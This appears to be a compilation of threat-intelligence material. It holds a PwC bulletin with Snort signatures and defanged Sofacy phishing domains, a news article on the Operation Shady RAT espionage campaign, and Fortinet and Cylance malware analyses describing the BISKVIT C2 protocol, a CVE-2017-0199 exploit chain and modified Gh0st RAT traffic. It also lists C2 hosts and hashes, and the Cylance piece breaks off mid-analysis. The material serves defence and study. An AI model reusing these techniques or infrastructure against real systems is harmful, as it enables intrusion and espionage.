The following signatures detect Javascript that is present on many obfuscated redirects, not necessarily related to this activity but which may be indicative of Sofacy phishing: 6 http://www.asriran.com/fa/news/299798/D8A7DB8CD985DB8CD984- DA86D8A7D9BED8A7D8B1-D987D8AFD981-D8ADD985D984D987- D987DAA9D8B1D987D8A7-D982D8B1D8A7D8B1-DAAFD8B1D981D8AA 7 http://www.spamfighter.com/News-18805-Security-Researcher-Intercepted-Phishing-Email-Campaign-which-Aimed-at-Google- Users.htm Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations alert tcp EXTERNAL_NET HTTP_PORTS - HOME_NET any (msg:Potential Sofacy Phishing Redirect flow:established,to_client content:\\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\ classtype:trojan-activity reference:url,http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against- government-defence-and-energy.html sid:xxxxxx rev:1) alert tcp EXTERNAL_NET HTTP_PORTS - HOME_NET any (msg:Potential Sofacy Phishing Redirect flow:established,to_client content:\x6Cx6Fx63x61x74x69x6Fx6E\ classtype:trojan-activity reference:url,http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against- government-defence-and-energy.html sid:xxxxxx rev:1) The following comment occurs in many of the pages weve observed relating to this campaign, but can also appear in some legitimate sites: alert tcp EXTERNAL_NET HTTP_PORTS - HOME_NET any (msg:Potential Sofacy Phishing Redirect flow:established,to_client content:// stop for sometime if needed classtype:trojan-activity reference:url,http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against- government-defence-and-energy.html sid:xxxxxx rev:1) For more information on this threat actor and further indicators of compromise, please get in touch with us at threatintelligenceuk.pwc.com.
mailto:threatintelligenceuk.pwc.com Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations Appendix 1 - Domains Domains involved in this phishing campaign and associated domains used by the same threat actor: northropgrumman[.
]org.uk counterterorexpo[.
]com nato.nshq[.
]in bostondynamlcs[.
]com natoexhibitionff14[.
]com vice-news[.
]com world-oil-company[.
]com hushmali[.
]com mfanews[.
]info azureon-line[.
]com us-mg6mail-service[.
]com mail.telecharger-01[.
]com ns1.mfanews[.
]org updatepc[.
]org ya-support[.
]com changepassword-hotmail[.
]com mail.sofexjordanx[.
]com kavkazcentr[.
]info webmail.windows-updater[.
]com abbott-export[.
]com mfapress[.
]com www.eurosatory-2014[.
]com yavuz16[.
]org mfauz[.
]com mrthelp[.
]org egreetingsfrom[.
]us kitegacc[.
]net kitegacc[.
]com mail.rnil[.
]am hothookup[.
]net NETSCHECKER[.
]com webmail-saic[.
]com intuitstatistics[.
]info flickr-service[.
]com n0vinite[.
]com assaas[.
]org rnil[.
]cl helpfromhome[.
]co gdforum[.
]net set121[.
]com academl[.
]com changepassword-yahoo[.
]com greetingcardproject[.
]com adawareblock[.
]com securitypractic[.
]com rnil[.
]am YA-LOGIN[.
]com mx1.g0b[.
]mx product-update[.
]com memoinfo[.
]ru privacy-live[.
]com tolonevvs[.
]com us-westmail-undeliversystem[.
]com test.chmail[.
]in kakashka.chmail[.
]in gov.hu[.
]com Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations us-mg6-transfermail-service[.
]com us-mg6-mailreport[.
]com aadexpo2014[.
]co.za www.gdforum[.
]info militaryinf[.
]com valuetable[.
]hk googlesetting[.
]com hotmail-monitor[.
]com junlper[.
]net www.ya-support[.
]com g-analytics[.
]net www.sofexjordanx[.
]com privacy-yahoo[.
]com yahoo.chmail[.
]in windous[.
]kz youtubeclip[.
]org aa.69[.
]mu qov.hu[.
]com vvorthyhands[.
]org dkvnz[.
]com mail.account-flickr[.
]com bulletin-center[.
]com yovtube[.
]co skidkaturag[.
]com defenceiq[.
]us mail-google[.
]info soft-storage[.
]com clickchekkker[.
]com intuitanalys[.
]com sofexjordanx[.
]com intuitstatistic[.
]com militaryexponews[.
]com caciltd[.
]com windows-updater[.
]com mail.securitypractic[.
]com www.surll[.
]me heidelberqcement[.
]com armypress[.
]org sweetcherry[.
]org account-flickr[.
]com setnewpass-yahoo[.
]com scanmalware[.
]info greetingcardsproject[.
]com q0v[.
]pl link-google[.
]com www.forsvaret[.
]co link-google[.
]com cubic.com[.
]co mail.mrthelp[.
]org www.us-mg7mail-transferservice[.
]com vVortHyHands[.
]org www.vljaihln[.
]com ifcdsc[.
]org smigroup-online[.
]co.uk 100plusapps[.
]com pruintco[.
]com www.yahoo-monitor[.
]com www.chmail[.
]in litu.su www.dkvnz[.
]com Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations mail.yahoo-monitor[.
]com us-mg7mail-transferservice[.
]com evrosatory[.
]com wind0ws[.
]kz farnboroughair2014[.
]com mfa-gov[.
]info y-privacy[.
]com login-osce[.
]org helpmicrosoft[.
]net sofexjordan2014[.
]com malwarecheck[.
]info update-hub[.
]com mx3.set121[.
]com srv-yahoo[.
]com Us-westmail-undeliversystem[.
]com bostondyn[.
]com aerospacesystem[.]us[.
]com eurosatary[.
]com telecharger-01[.
]com chmali[.
]ir privacy.google-settings[.
]com yandex-site[.
]com www.7daysinabudhabi[.
]org www.account-flickr[.
]com google-settings[.
]com ns1.greetingcardproject[.
]com eurosator[.
]com update-zimbra[.
]com asisonlline[.
]org mfapress[.
]org ya-login[.
]com stockliquidationgroup[.
]com pasport-yandex[.
]com konami-game[.
]com www.adawareblock[.
]com persa124[.
]in eurosatory-2014[.
]com clickchekker[.
]com al-wayi[.
]com molodirect[.
]net com-0cd[.
]net us-mg6mailyahoo[.
]com finance-reports.everyday[.]com-w13[.
]net apple-iclouds[.
]com unizg[.
]net mfanews[.
]org mail.ya-support[.
]com checkmalware[.
]org geaviations[.
]com flashsecurity[.
]org imperialc0nsult[.
]com cublc[.
]com evronaval[.
]com xuetue2013[.
]com www.valuetable[.
]hk mail.chmail[.
]in nshq[.
]in forsvaret[.
]co in-eternal-memory-of[.
]com www[.]us-westmail-undeliversystem[.
]com Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations gdforum[.
]info sex-toy-shop[.
]org novinitie[.
]com yahoo-monitor[.
]com standartnevvs[.
]com pornforyou[.
]in mail.q0v[.
]pl mail.windows-updater[.
]com allcashin[.
]com changepassword-yahoo[.
]com arnf[.
]bg gpwpl[.
]com updateapi.longmusic[.
]com chmail[.
]in brokersads[.
]com testservice24[.
]net kavkazjlhad[.
]com livemicrosoft[.
]net surll[.
]me accesd-de-desjardins[.
]com mail.hushmali[.
]com sunmicrosystem[.
]info bytly[.
]org mx.rnil[.
]cl poczta.mon.q0v[.
]pl ns.mfanews[.
]org 7daysinabudhabi[.
]org privacy-hotmail[.
]com ns1.al-wayi[.
]com ecards-yahoo[.
]com eurosatory2014[.
]com yahoo-analytics[.
]com www.srv-yahoo[.
]com set133[.
]com Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations References http://smallmedia.org.uk/sites/default/files/u8/IIIPSepOct.pdf https://twitter.com/MalCrawler/status/489128440323252226 The information contained in this document has been prepared as a matter of interest and for information purposes only, and does not constitute professional advice.
You should not act upon the information contained in this email without obtaining specific professional advice.
No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this email, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this email or for any decision based on it.
http://smallmedia.org.uk/sites/default/files/u8/IIIPSepOct.pdf https://twitter.com/MalCrawler/status/489128440323252226
Exclusive: Operation Shady rat Unprecedented Cyber-espionage Campaign and Intellectual-Property Bonanza For at least five years, a high-level hacking campaign dubbed Operation Shady rathas infiltrated the computer systems of national governments, global corporations, nonprofits, and other organizations, with more than 70 victims in 14 countries.
Lifted from these highly secure servers, among other sensitive property: countless government secrets, e-mail archives, legal contracts, and design schematics.
Here, Vanity Fairs Michael Joseph Gross breaks the news of Operation Shady rats existence and speaks to the McAfee cyber-security expert who discovered it.
Photographs by Molly Riley/Reuters/Landov (Hillary) and Paul Sakuma/A.P.
Images (Google) illustration by Brad Holland (center).
When the history of 2011 is written, it may well be remembered as the Year of the Hack.
Long before the saga of News of the World phone hacking began, stories of computer breaches were breaking almost every week.
In recent months, Sony, Fox, the British National Health Service, and the Web sites of PBS, the U.S. Senate, and the C.I.A., among others, have all fallen victim to highly publicized cyber-attacks.
Many of the breaches have been attributed to the groups Anonymous and LulzSec.
Dmitri Alperovitch, vice president of threat research at the cyber- security firm McAfee, says that for him, its been really hard to watch the news of this Anonymous and LulzSec stuff, because most of what they do, defacing Web sites and running denial-of-service attacks, is not serious.
Its really just nuisance.
Just nuisance, that is, compared with a five-year campaign of hacks that Alperovitch discovered and named Operation Shady rata campaign that continues even now, and is being reported for the first time today, by vanityfair.com, and in a lengthier report on the larger problem of industrial cyber-espionage in the September issue of Vanity Fair.
Operation Shady rat ranks with Operation Aurora (the attack on Google and many other companies in 2010) as among the most significant and potentially damaging acts of cyber-espionage yet made public.
Operation Shady rat has been stealing valuable intellectual property (including government secrets, e-mail archives, legal contracts, negotiation plans for business activities, and design schematics) from more than 70 public- and private-sector organizations in 14 countries.
The list of victims, which ranges from national governments to global corporations to tiny nonprofits, demonstrates with unprecedented clarity the universal scope of cyber- espionage and the vulnerability of organizations in almost every category imaginable.
In Washington, where policymakers are struggling to chart a strategy for combating cyber-espionage, Operation Shady rat is already drawing attention at high levels.
Last week, Alperovitch provided confidential briefings on Shady rat to senior White House officials, executive-branch agencies, and congressional-committee staff.
Senator Dianne Feinstein (D-CA), chairman of the Senate Select Committee on Intelligence, reviewed the McAfee report on Shady rat and wrote in an e-mail to Vanity Fair: This is further evidence that we need a strong cyber-defense system in this country, and that we need to start applying pressure to other countries to make sure they do more to stop cyber hacking emanating from their borders.
McAfee says that victims include government agencies in the United States, Taiwan, South Korea, Vietnam, and Canada, the Olympic committees in three countries, and the International Olympic Committee.
Rounding out the list of countries where Shady rat hacked into computer networks: Japan, Switzerland, the United Kingdom, Indonesia, Denmark, Singapore, Hong Kong, Germany, and India.
The vast majority of victims49were U.S.- based companies, government agencies, and nonprofits.
The category most heavily targeted was defense contractors13 in all.
http://www.vanityfair.com/culture/features/2011/09/chinese-hacking-201109 http://www.vanityfair.com/culture/features/2011/09/chinese-hacking-201109 In addition to the International Olympic Committee, the only other victims that McAfee has publicly named are the World Anti-doping Agency, the United Nations, and ASEAN, the Association of Southeast Asian Nations (whose members are Indonesia, Malaysia, the Philippines, Singapore, Thailand, Brunei, Burma [Myanmar], Cambodia, Laos, and Vietnam).
In an e-mail to vanityfair.com, I.O.C.
communications director Mark Adams wrote, If proved true, such allegations would be disturbing.
However, the IOC is transparent in its operations and has no secrets that would compromise either our operations or our reputation.
WADA spokesman Terence ORourke wrote in an e-mail that WADA is constantly alert to the dangers of cyber hacking and maintains a vigilant security system on all of its computer programs.
He added that WADAs Anti-Doping Administration  Management System (ADAMS), which is on a completely different server to WADAs emails, has never been compromised and remains a highly-secure system for the retention of athlete data.
A prominent cyber-security expert who was briefed by McAfee on the intrusions says that the Associated Press was also a victim.
McAfee declined to comment on that suggestion.
Jack Stokes, A.P.
media- relations manager, said, We dont comment on our network security, when I asked if it was true that the A.P.
was among Shady rats victims.
Alperovitch believes the hacking was state-sponsored, pointing to Shady rats targeting of Olympic committees and political nonprofits as evidence, and contending that [t]heres no economic gain to spying on them.
Citing McAfee company policy, he refused to speculate on which country was behind Shady rat.
One leading cyber-espionage expert, however, thinks the likely culprits identity is clear.
All the signs point to China, says James A. Lewis, director and senior fellow of the Technology and Public Policy Program at the Center for Strategic and International Studies, adding, Who else spies on Taiwan?
Alperovitch first picked up the trail of Shady rat in early 2009, when a McAfee client, a U.S. defense contractor, identified suspicious programs running on its network.
Forensic investigation revealed that the defense contractor had been hit by a species of malware that had never been seen before: a spear-phishing e-mail containing a link to a Web page that, when clicked, automatically loaded a malicious programa remote-access tool, or ratonto the victims computer.
The rat opened the door for a live intruder to get on the network, escalate user privileges, and begin exfiltrating data.
After identifying the command-and-control server, located in a Western country, that operated this piece of malware, McAfee blocked its own clients from connecting to that server.
Only this March, however, did Alperovitch finally discover the logs stored on the attackers servers.
This allowed McAfee to identify the victims by name (using their Internet Protocol [I.P.]
addresses) and to track the pattern of infections in detail.
The evolution of Shady rats activity provides more circumstantial evidence of Chinese involvement in the hacks.
The operation targeted a broad range of public- and private-sector organizations in almost every country in Southeast Asiabut none in China.
And most of Shady rats targets are known to be of interest to the Peoples Republic.
In 2006, or perhaps earlier, the intrusions began by targeting eight organizations, including South Korean steel and construction companies, a South Korean government agency, a U.S. Department of Energy laboratory, a U.S. real-estate company, international-trade organizations of Western and Asian nations, and the ASEAN Secretariat.
(
According to McAfees Operation Shady rat white paper, [t]hat last intrusion began in October [2006], a month prior to the organizations annual summit in Singapore, and continued for another 10 months.)
In 2007, the activity ramped up to hit 29 organizations.
In addition to those previously targeted, new victims included a technology company owned by the Vietnamese government, four U.S. defense contractors, a U.S. federal-government agency, U.S. state and county government organizations, a computer- network-security companyand the national Olympic committees of two countries in Asia and one in the West, as well as the I.O.C.
The Olympic organizations, strikingly, were targeted in the months leading up to the 2008 Olympic Games in Beijing.
Shady rats activity continued to build in 2008, when it infiltrated the networks of 36 organizations, including the United Nationsand reached a crest of 38 organizations, including the World Anti-doping Agency, in 2009.
Since then, the victim numbers have been dropping, but the activity continues.
Shady rats command-and-control server is still operating, and some organizations, including the World Anti-doping Agency, were still under attack as of last month.
(
As of Tuesday, according to a WADA spokesman, the group was unaware of any breach, but WADA is investigating McAfees discovery.)
The longest compromise durationon and off for 28 months, according to McAfees report was one Asian countrys Olympic committee.
Many others were compromised for two full years.
Nine organizations were compromised for one month or less.
All others were compromised for a minimum of one month, potentially allowing for complete access to all data on their servers.
Alperovitch says that McAfee is working closely with U.S.government agencies, a variety of them, law enforcement and others, in hopes of eventually shutting down Shady rats command-and-control server.
(
He declined to say whether U.S. intelligence agencies are involved in the investigation.)
Alperovitchs diagnosis of the problem raised by Shady rat is troubling: Its clear from this and other attacks weve been witnessing that there is an unprecedented transfer of wealth in the form of trade secrets and I.P., primarily from Western organizations and companies, falling off the truck and disappearing into massive electronic archives.
What is happening to this data?
Is this being accumulated in a giant, Indiana Jonestype warehouse?
Or is it being used to create new products?
If its the latter, we wont know for a number of years.
But if so, its not just a problem for these companies, but also for the governments of the countries where these companies are located, because theyre losing their economic advantage to competitors in other parts of the world overnight.
That is a national-security problem, insofar as it leads to loss of jobs and lost economic growth.
Thats a serious threat.
His account of attempting to inform some of Shady rats victims may be even more troubling.
Some victims seem determined to deny theyve been attacked, even when offered empirical proof that a smash-and-grab has taken place.
Two weeks ago, McAfee sent e-mails to officials at four organizations, informing them that their computer networks had been compromised.
To each, Alperovitch wrote, We would be glad to work with you and provide our assistance  to help you determine the impact of the intrusion  or how to prevent this type of infiltration in the future.
Three of those organizations including one whose breach is ongoingmade no response to McAfees notifications.
Even after McAfees second attempt to offer information about the breaches to two of the groups, Alperovitch says, they expressed no interest in learning details of the intrusions.
The spokesman for one of those organizations, WADA, told me that he considered Alperovitchs first e-mail to be spam.
He said, We are conducting our own investigation of the allegations.
When asked why WADA chose not to accept McAfees offer to provide detailed information that could help in that investigation, the spokesman answered, I am under no obligation to answer your questions about my investigation.
(
Later that day, according to McAfee, WADA did request information concerning the attack.)
Weve seen this before, Alperovitch says.
Victims dont want to know theyre victims.
I guess thats just victim psychology: if you dont know about it, its not really happening.
August 20, 2018 Russian Army Exhibition Decoy Leads to New BISKVIT Malware fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html Threat Research By Jasper Manuel and Rommel Joven  August 20, 2018 A few days ago, the FortiGuard Labs team found a malicious PPSX file exploiting CVE-2017- 0199 that had been crafted for Russian speakers.
The filename  when translated means Exhibition.
On further examination, the PPSX file seems to have been targeted at an exhibition being held annually in Russia called Army 2018 International Military and Technical Forum.
This is one of the largest exhibitions of military weapons and special equipment, not only in Russia, but also one of the outstanding events among similar exhibitions in the world.
The discovery of this malicious document is very timely since the event is scheduled to be held August 21-26, 2018.
Figure 01.
Decoy file Another interesting element of this malware is the included paragraph, shown below.
1/15 https://www.fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html https://www.fortinet.com/blog/search.html?authorJasperManuelandRommelJoven https://secure.fortinet.com/LP5223?utm_sourcesocialutm_mediumblogutm_campaignGEN-WP-Q2-2018-Threat-Landscape-Reportelq_srcSocialelq_cid70134000001T67JAASelq_staid10elq_eid11694elq_sid13232 Figure 02.
Invitation in Russian This roughly translates to: Closed dynamic show of modern and prospective samples of military armament and special equipment for the reconnaissance and raid action of combined-arms units While the event is open to anyone, organizers from last year have set up specialized expositions that include demonstrations behind closed doors.
This caters to selected guests, where pieces of classified equipment are being displayed, including large aerial vehicles and missiles.
That being said, we believe that this malicious document is being targeted to those selected guests who want to be, or are already included in these closed door invitations.
This years event has already 66 official foreign delegations confirming their participation.
We will take a look on how a PPSX file could compromise an unpatched system.
Analysis We begin with the malicious PPSX file that exploits CVE-2017-0199 and opens a bait file.
CVE- 2017-0199 is an HTA (HTML application) vulnerability that allows a malicious actor to download and execute a script containing PowerShell commands when a user opens a document containing an embedded exploit This is not the first time we have encountered an APT abusing this vulnerability.
In fact, previous attacks have targeted people from UN agencies, Foreign Ministries, and people and organizations who interact with international governments.
2/15 http://www.rusarmyexpo.com/ https://www.ainonline.com/aviation-news/defense/2017-08-25/russias-army-show-may-eclipse-better-known-maks-event http://tass.com/defense/1014966 https://www.fortinet.com/blog/threat-research/an-inside-look-at-cve-2017-0199-hta-and-scriptlet-file-handler-vulnerability.html https://www.fortinet.com/blog/threat-research/powerpoint-file-armed-with-cve-2017-0199-and-uac-bypass.html Figure 03.
Overview of attack Once the PPSX file is opened, it triggers a script in ppt/slides/_rels/slides1.xml.rels.
The exploit then downloads additional code from the remote server, as shown in figure 04, and executes it using the PowerPoint Show animations feature.
Figure 04.
PPSX file exploiting CVE-2017-0199 Shown below is the code from the remote server after the PowerShell exploit embedded in the XML file is successfully executed and downloads an executable payload into Temp.
3/15 Figure 05.
defender XML When executed, Defender.exe drops the following files: Figure 06.
TMPEC4E directory SynTPEnh  a directory with the BISKVIT malware package Csrtd.db  an encrypted configuration file used by DevicePairing.exe for autorun installation Figure 07.
Decrypted configuration DevicePairing.exe  also identified in the code as AutorunRegistrator, its function is to copy the SynTPEnh directory to appdata and add it to the autorun registry entry 4/15 DevicePairing.exe.config  a runtime configuration file Kernel32.dll  a common library of BISKVIT malware Newtonsoft.
Json.dll  a popular JSON serializer  for .NET BISKVIT The BISKVIT Trojan is a multi-component malware written in C. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word biscuit.
Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.
Figure 08.
Biscuit modules Due to the modular nature of BISKVIT, its difficult to exactly determine all of its functionalities since components are only downloaded and loaded on the fly at the direction of the attacker.
As of this writing, we have only been able to download one component.
So far, based on the code of the components that we were able to acquire, this malware is capable of, but not limited to the following: Downloading files and components Hidden/stealthy execution of downloaded and local files Downloading of dynamic configuration files Updating itself Deleting itself 5/15 The BISKVIT malware is copied to the appdata\ SynTPEnh from the temp folder, as mentioned above.
These are the contents of the appdata\SynTPEnh folder: SynTPEnh.exe   the main BISKVIT malware file Csrtd.db  an encrypted configuration file SynTPEnh.exe.config  a runtime configuration file Kernel32.dll  a common library of BISKVIT malware Newtonsoft.
Json.dll  a popular JSON serializer  for .NET The main BISKVIT file disguises itself as the legitimate Synaptics Pointing Device Driver file to avoid suspicion by the user.
Figure 09.
Information disguised as Synaptics When executed, it initializes its base configuration, which contains the following information: 6/15 Figure 10.
Base configuration It then loads and decrypts its configuration file, named csrtd.db.
This configuration file is encrypted with AES using the following keys: Figure 11.
Default AES and IV key Once decrypted, this configuration file contains the command and control server, the time interval used by the malware to check for jobs from the command and control server, an API key, and RSA key information.
We didnt find code references to the RSA encryption method, so we think thats being used by other components that we havent acquired as of this writing.
7/15 Figure 12.
Decrypted configuration Command and Control Communications This malware communicates with the command and control server through REST APIs using the JSON format.
The malware first gets an access token by sending an API key.
If not specified in the configuration, the API key is generated from the CPU, disk drive, and MAC address information of the infected machine.
This API key is a unique ID, which is also used to identify the machine.
Figure 13.
Unique Id composition The API key is sent to the command and control server via an HTTP POST request to the API /api/auth/token.
Figure 14.
POST ApiKey The server replies with access token information that will be used for the entire session.
8/15 Figure 15.
Access token This malware then receives and executes commands from the attacker through a jobs API.
It sends an HTTP GET request to the API /api/job to get a job after a certain time has lapsed, as indicated by the interval set in the configuration.
Figure 16.
GET api/job The response would be a job with four main keys: id, resultUri, tasks, and executionOptions.
Figure 17.
Job id - is the job ID resultUri  - is where the malware will HTTP POST the result of the job 9/15 executionOptions - tells the malware if it will execute the package at certain time interval, and if it will be started at startup.
tasks  this key contains information about packages (components/other files) that the attacker wants downloaded to and executed on the infected machine.
The executeMode in the key tasks tells the malware how to execute the package.
Figure 18.
Execute modes If the mode is 0, the package is treated as a component/library and is executed with the parameter indicated in the parameters key.
If the mode is 1, the package is treated as a file and is executed by using either the ShellExecuteEx() or CreateProcess() Windows API, with WindowStyle set to Hidden and CreateNoWindow set to true.
Figure 19.
ExecuteHide If the mode is 2, the package is treated as file and is executed using the 10/15 CreateProcessAsUser() Windows API.
Figure 20.
StartAsUser Another interesting feature of this malware is that it saves jobs locally in a folder named 534faf1cb8c04dc881a3fbd69d4bc762.
Figure 21.
Jobs Directory Jobs are encrypted using the same AES encryption as that of the configuration file, and are named with its job id with a .db extension.
This means that it can continue executing the jobs on the next execution of the malware even when its current process is interrupted or terminated.
After completing the job, this malware deletes the locally saved job.
During our analysis, the malware received a job to download a package with executeMode set to 0.
This means the package is a component/library that can be downloaded from /api/package/5b61b91da99a25000198dfcc.
Figure 22.
Job with packageId and executeMode 11/15 The package from the downloadUri specified in the job resulted to a zip file with a PK header.
Figure 23.
Get Package Packages are stored in the folder 083c57797944468895820bf711e3624f.
Figure 24.
Packages Directory After checking what component had been downloaded, we discovered that it was a component called FileExecutor, which just executes the files indicated in the parameters key.
Figure 25.
Job and Tasks parameters This FileExecutor component has the same functionality as the executeMode set to 1, which just executes a file using either the ShellExecuteEx() or CreateProcess() with WindowStyle set to Hidden and CreateNoWindow set to true.
In the above job, it tells the malware to use the 12/15 FileExecutor component to execute systeminfo with timeout set at 30 seconds, as indicated by the Waittime key.
The command systeminfo displays detailed configuration information about a computer and its operating system, including its operating system configuration, security information, product ID, and hardware properties (such as RAM, disk space, and network cards).
Figure 26.
Systeminfo data POST to CC For the CC to know the status of the jobs running, it also includes the key State that has the values shown below.
The data that was sent during our analysis included the State being equal to 2, meaning it is complete.
13/15 Figure 27.
Job States After the systeminfo job, it seemed that the attacker noticed that the machine he/she sent the job to was an analysis machine, so the CC stopped sending any jobs.
This could only mean that the attacker behind this attack is being very careful to not infect computers that are not targets and to avoid alerts.
While it is not new for CC servers used in targeted attacks to suddenly stop responding after collecting the basic information of the victims computer, the CC used here is not completely blocking its communication.
Instead, it just stopped sending jobs.
This enables researchers and analysts to still monitor the CC.
Low AV Detection Interestingly, even if the malware files are not packed or obfuscated, only a few AV vendors, including Fortinet, were able to detect the files.
Conclusion The use of current and upcoming events as bait to target high profile targets is becoming more and more popular among attackers.
Based on our findings, we believe that this is a well-planned attack, especially considering the timely distribution of the malicious decoy file and the use of a never-before-seen malware.
These two ingredients provide the best chance for comprising their targets.
Solution Fortinet detects all Biskvit malware components as W32/BiskvitLoader.
Atr, MSIL/BiskvitAutoRun.
Atr, MSIL/BiskvitLib.
Atr, MSIL/Biskvit.
Atr, MSOffice/Exploit.
CVE20178570tr.
14/15 Malicious URLs related to this malware are also blocked through the FortiGuard Web Filtering Service.
We recommend that all users apply the patch released by Microsoft for CVE-2017-0199.
Special thanks to Evgeny Ananin for translating the content of the exploit document from Russian to English.
IOC be7459722bd25c5b4d57af0769cc708ebf3910648debc52be3929406609997cf a87daccbb260c5c68aaac3fcd6528f9ba16d4f284f94bc1b6307bbb3c6a2e379 b4a1f0603f49db9eea6bc98de24b6fc0034f3b374a00a815b5c906041028ddf3 934542905f018ecb495027906af13cc96e3f55e11751799f39ef4a3dceff562b 23a286d14de1f51c5073caf0fd40a7636c287f578f32ae5e05ed331741fde572 CC hxxp://bigboss.x24hr.com hxxp://secured-links.org/ Download our latest Global Threat Landscape Report.
russia, APT Campaign Copyright  2019 Fortinet, Inc. All Rights Reserved 15/15 https://fortiguard.com/webfilter https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199?ranMID24542ranEAIDje6NUbpObpQranSiteIDje6NUbpObpQ-fM38F._e5Au85Ux1yEL84gepije6NUbpObpQ-fM38F._e5Au85Ux1yEL84girgwc1OCIDAID681541_aff_7593_1243925tduid(ir_yDRz7:SXzRcdQETzRRXKnWbwUkg02FRhfQo-SM0)(7593)(1243925)(je6NUbpObpQ-fM38F._e5Au85Ux1yEL84g)()irclickidyDRz7:SXzRcdQETzRRXKnWbwUkg02FRhfQo-SM0 https://secure.fortinet.com/LP5223?utm_sourcesocialutm_mediumblogutm_campaignGEN-WP-Q2-2018-Threat-Landscape-Reportelq_srcSocialelq_cid70134000001T67JAASelq_staid10elq_eid11694elq_sid13232 https://www.fortinet.com/blog/tags-search.html?tagrussia https://www.fortinet.com/blog/tags-search.html?tagapt-campaign Russian Army Exhibition Decoy Leads to New BISKVIT Malware
The Ghost Dragon blog.cylance.com/the-ghost-dragon By Isaac Palmer April 22, 2016 Introduction Cylance SPEAR has identified an APT group which deploys multiple customized malware implants, targeting mainly Chinese and Russian users.
Cylance determined that the Ghost Dragon group utilized specifically tailored variants of Gh0st RAT, which the group modified from the 3.6 version of the source code released in 2008.
Newly implemented security mechanisms in the altered malware makes identification of Gh0st RAT Command and Control network traffic more difficult for both security products and researchers.
This write-up provides initial disclosure of a portion of the malware and infrastructure used by the Ghost Dragon group and covers the new security mechanisms in detail, as well as revealing how researchers were able to communicate with the custom implant by rebuilding and compiling a customized Gh0st RAT controller.
The Standard Gh0st RAT Protocol The standard network protocol for Gh0st RAT 3.6 employs zlib compression, which utilizes Gh0st as a static five- byte packet flag that must be included in the first five bytes of initial transmission from the victim (as seen in Figure 1).
During the initial login request, the 3.6 version of Gh0st RAT enumerates system information and transmits that information to the controller.
The proceeding eight bytes of the packet contain both compressed and uncompressed size information followed by the zlib compressed data, starting with bytes 78 9C at offset 14 (shown in Figures 1 and 2, below).
Figure 1: Standard Gh0st RAT 3.6 packet login request Victim to controller After a successful login, the controller returns an acknowledgment to the victim with the correct header using the packet flag which it is programmed to verify, as seen in Figure 2.
The connection will be established only if the packet flags match.
1/7 https://blog.cylance.com/the-ghost-dragon https://blog.cylance.com/author/isaac-palmer javascript:void(0) https://en.wikipedia.org/wiki/Gh0st_RAT https://blog.cylance.com/ Figure 2: Standard Gh0st RAT 3.6 packet response  Controller to victim  22 bytes Following the first five bytes, the packet then shows the full packet size and the uncompressed data size.
The Gh0st packet header for version 3.6 uses the 13-byte format shown in Figure 3: Figure 3: Gh0st RAT 3.6 header format After the packet flag, packet length and unzip length have been verified, a working connection is created between the victim and the controller.
Subsequent keep-alive transmissions ensure a continuous connection.
Once Gh0st RAT is connected, the attacker has full remote administration tool (RAT) functionality via the controller.
Available remote functionality includes: Fully functional remote desktop display, including the ability to remotely block user input Fully functional file manager that lists local and network drives Ability to interact with running processes Ability to interact via the command console Key logging Audio capture Webcam capture Ability to send Windows style alerts to the victim, which can display any text the attacker enters into the controller These features ensure complete remote control of the computer.
Changes to the Gh0st RAT Protocol In an older version of the customized Gh0st RAT malware, the protocol packet flag is no longer represented by the string Gh0st.
The Ghost Dragon group modified the source code and changed the packet flag to XYTvn, as seen in Figure 4.
The packet structure still implements the same 13-byte header format, including the starting zlib compression bytes of 78 9C: 2/7 Figure 4: XYTvn static packet flag  Victim to controller login request Sample: f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197 In a more recent version of the modified Gh0st RAT malware, Ghost Dragon implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller.
This complicates identifying its network traffic, as the header bytes in the zlib compressed data section no longer start with 78 9C, as shown in Figure 5.
In some cases this was achieved through a simple XOR obfuscation of the packet data, beginning with the zlib header.
SPEAR has observed numerous different XOR keys utilized by the group.
No changes to the compression have been found however, it is trivial to implement a modified compression protocol.
Figure 5: Dynamic packet flag  Victim to controller login request Sample: 1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42 (Note: At the time of this report, the C2 for the sample was active and the malware could still establish an active connection to the Ghost Dragon controller at bbs.winupdate[dot]net.
Currently, the domain bbs.winupdate[dot]net resolves to 122.10.18[dot]166).
The reply from the active command and control server can be seen in Figure 6: 3/7 Figure 6: Dynamic packet flag  Controller to victim login reply Sample: 1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42 Connecting to the Ghost Dragon Malware After successful identification of the malware as Gh0st RAT and confirmation of the modified command and control protocol, the final step toward verification was to connect with the malware to ensure that it would parse the normal Gh0st RAT commands.
I was able to compile a custom controller from the source code for the purposes of testing the Ghost Dragon malware.
I bypassed the header checks looking for the Gh0st packet flag, and reprogrammed the standard Gh0st RAT controller to reply with the packet flag sent from the victim.
I used sample 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df for testing, which was executed by f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197 during analysis on Windows XP.
This sample transmitted the static five byte packet flag XYTvn.
I ran the victim malware and changed the hosts file to point the domain to a host-only IP address.
I received a connection attempt from the victim and a response from the controller returned the correct packet flag.
